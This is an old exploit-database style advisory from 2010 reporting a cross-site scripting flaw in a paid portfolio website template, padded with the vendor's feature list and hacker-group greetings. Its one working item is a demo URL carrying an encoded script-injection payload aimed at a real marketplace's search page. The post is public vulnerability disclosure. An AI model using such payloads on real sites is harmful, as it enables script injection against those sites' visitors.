Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] Exploit Title: Dynamic Portfolio Template XSS Vulnerability Version:1.0 Platform:Linux, Windows Price:12$ Vendor url:http://themeforest.net Published: 2010-06-09 Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer and to all ICW members ############################################################################################################################################################################# Dynamic Portfolio Template XSS Vulnerability Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com] ############################################################################################################################################################################# Description: Dynamic Portfolio is designed to be used as design or photography portfolio website. It is easy to install and update, all you have to do is to copy the files on your server, add some of your portfolio examples and you be up and running in no time. Features: Valid XHTML, tableless Design jQuery Support: Vertical smoth scrolling website Featured portfolio item Portfolio item slider Customized browser scrollbar with CSS jQuery Elegant preview with lightbox Working jQuery/PHP contact form All source PSD files included Documentation File ############################################################################################################################################################################### Vulnerability: *XSS Vulnerability found DEMO URL : http://themeforest.net/searches?term=%27%22--%3E%3Cscript%3Ealert%280x000872%29%3C%2Fscript%3E&type=%2722 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # 0day no more # ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ################################################################################################################################################################################ -- With R3gards, L0rd CrusAd3r